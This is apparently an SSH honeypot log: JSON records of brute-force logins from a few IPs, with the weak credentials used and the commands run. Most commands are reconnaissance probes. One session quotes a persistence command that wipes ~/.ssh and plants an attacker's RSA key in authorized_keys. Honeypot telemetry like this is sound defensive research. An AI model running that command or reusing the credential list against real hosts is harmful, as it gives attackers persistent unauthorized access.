Credential acceptance event recorded. Target authentication: root / therion
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "83fa52418ec9",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:14:29.135661Z",
"end_time": "2026-07-20T08:14:30.479328Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "therion"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: calvin
{
"id": "581bf5358aec",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:14:24.863349Z",
"end_time": "2026-07-20T08:14:27.272177Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "calvin",
"pass": "calvin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aaa
{
"id": "acad9948dc00",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:14:19.530067Z",
"end_time": "2026-07-20T08:14:21.765935Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "aaa",
"pass": "chris"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / theresa
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "f8ba9c5e9c80",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:14:16.998870Z",
"end_time": "2026-07-20T08:14:19.201485Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "theresa"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: git / git
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "783fa3ba6e11",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:14:14.240189Z",
"end_time": "2026-07-20T08:14:15.799070Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "git",
"pass": "git"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "db4472545022",
"src_ip": "160.187.174.22",
"start_time": "2026-07-20T08:14:14.178880Z",
"end_time": "2026-07-20T08:14:15.385369Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "ffe9d350b1c5",
"src_ip": "160.187.174.22",
"start_time": "2026-07-20T08:14:11.797373Z",
"end_time": "2026-07-20T08:14:13.988974Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Qwerty.1
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "fb3853961058",
"src_ip": "160.187.174.22",
"start_time": "2026-07-20T08:14:09.121530Z",
"end_time": "2026-07-20T08:14:15.382547Z",
"duration": "6.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Qwerty.1"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: deploy / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5f1a0cdd2332",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:14:08.829695Z",
"end_time": "2026-07-20T08:14:10.472474Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / theking
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "b6171b9f38f6",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:14:04.102335Z",
"end_time": "2026-07-20T08:14:05.466537Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "theking"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: omm
{
"id": "0a7b74ec3f46",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:14:03.618791Z",
"end_time": "2026-07-20T08:14:05.880973Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "omm",
"pass": "omm"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: deploy / 1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c67fd06dca66",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:58.076503Z",
"end_time": "2026-07-20T08:13:59.363428Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: www
{
"id": "a7f31d996f3b",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:52.846723Z",
"end_time": "2026-07-20T08:13:54.836389Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "www",
"pass": "www"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / thebest
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "104879203782",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:13:50.801265Z",
"end_time": "2026-07-20T08:13:52.611882Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "thebest"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / P@ssword1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "38e55167f037",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:47.518870Z",
"end_time": "2026-07-20T08:13:49.198949Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P@ssword1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: ubuntu / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "b63f70c32dae",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:42.057096Z",
"end_time": "2026-07-20T08:13:43.699117Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "ubuntu",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / the1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "766c4aa39903",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:13:39.071472Z",
"end_time": "2026-07-20T08:13:41.383816Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "the1"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: milad
{
"id": "b34dd8c24241",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:36.676232Z",
"end_time": "2026-07-20T08:13:38.735549Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "milad",
"pass": "milad123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lucas
{
"id": "e846420480c6",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:31.102913Z",
"end_time": "2026-07-20T08:13:33.297340Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "lucas",
"pass": "lucas"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / thankyou
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "814ee2ce38b1",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:13:25.936263Z",
"end_time": "2026-07-20T08:13:27.905102Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "thankyou"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / QWEqwe123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "cb42fcbd38e9",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:25.692886Z",
"end_time": "2026-07-20T08:13:27.097587Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "QWEqwe123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bitrix
{
"id": "b199f9002240",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:20.117909Z",
"end_time": "2026-07-20T08:13:22.210634Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "bitrix",
"pass": "bitrix"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: backup
{
"id": "ee1914b84409",
"src_ip": "195.178.110.217",
"start_time": "2026-07-20T08:13:17.630685Z",
"end_time": "2026-07-20T08:13:20.081442Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
"attempts": [
{
"user": "backup",
"pass": "54321"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: newuser
{
"id": "56253a95cb34",
"src_ip": "209.38.121.186",
"start_time": "2026-07-20T08:13:15.224804Z",
"end_time": "2026-07-20T08:13:17.753512Z",
"duration": "2.5",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "newuser",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user
{
"id": "695138a4f361",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:14.842427Z",
"end_time": "2026-07-20T08:13:16.962837Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ec2-user",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / text
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "af090e9db23b",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:13:13.373724Z",
"end_time": "2026-07-20T08:13:14.695073Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "text"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rdpuser
{
"id": "d380110b1efc",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:09.465393Z",
"end_time": "2026-07-20T08:13:11.487401Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rdpuser",
"pass": "123456789"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: labuser
{
"id": "0917e5860db6",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:13:04.225271Z",
"end_time": "2026-07-20T08:13:06.489571Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "labuser",
"pass": "labuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / testtest
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "4656f9a311d3",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:13:01.613167Z",
"end_time": "2026-07-20T08:13:03.100974Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "testtest"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: root1
{
"id": "2480d6bb1261",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:58.510559Z",
"end_time": "2026-07-20T08:13:00.794496Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "root1",
"pass": "1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nexus
{
"id": "c0a17835d5e1",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:53.176905Z",
"end_time": "2026-07-20T08:12:55.824961Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "nexus",
"pass": "pi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / testing
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "03cc24989a00",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:12:49.329599Z",
"end_time": "2026-07-20T08:12:50.584926Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "testing"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev
{
"id": "98c5e54c542c",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:47.861608Z",
"end_time": "2026-07-20T08:12:50.081929Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dev",
"pass": "111111"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: oscar
{
"id": "9b3b2a35aff1",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:42.654358Z",
"end_time": "2026-07-20T08:12:44.925739Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "oscar",
"pass": "oscar"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Aa123321
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "931d893e1b70",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:37.210860Z",
"end_time": "2026-07-20T08:12:38.348247Z",
"duration": "1.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa123321"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / tester
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "76c94ddf97c8",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:12:35.819644Z",
"end_time": "2026-07-20T08:12:38.286214Z",
"duration": "2.5",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "tester"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser
{
"id": "5d4ddd078898",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:31.573669Z",
"end_time": "2026-07-20T08:12:33.641636Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "fastuser",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: osmc
{
"id": "e9fa0e0f8446",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:26.272060Z",
"end_time": "2026-07-20T08:12:28.457898Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "osmc",
"pass": "osmc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / terminator
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "d7c46dcc8561",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:12:23.557376Z",
"end_time": "2026-07-20T08:12:25.448107Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "terminator"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / password
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "ab36cb325272",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:21.142164Z",
"end_time": "2026-07-20T08:12:23.060883Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "password"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Aa111111.
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a58d1d7e15c5",
"src_ip": "91.92.42.147",
"start_time": "2026-07-20T08:12:15.507753Z",
"end_time": "2026-07-20T08:12:16.956282Z",
"duration": "1.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa111111."
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / tennis
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "43a315a32dc8",
"src_ip": "60.163.139.198",
"start_time": "2026-07-20T08:12:11.009292Z",
"end_time": "2026-07-20T08:12:12.724785Z",
"duration": "1.7",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "tennis"
},
"commands": [
"echo 'dGVzdA==' | base64 -d 2>/dev/null"
],
"detailed_commands": [
{
"cmd": "echo 'dGVzdA==' | base64 -d 2>/dev/null",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
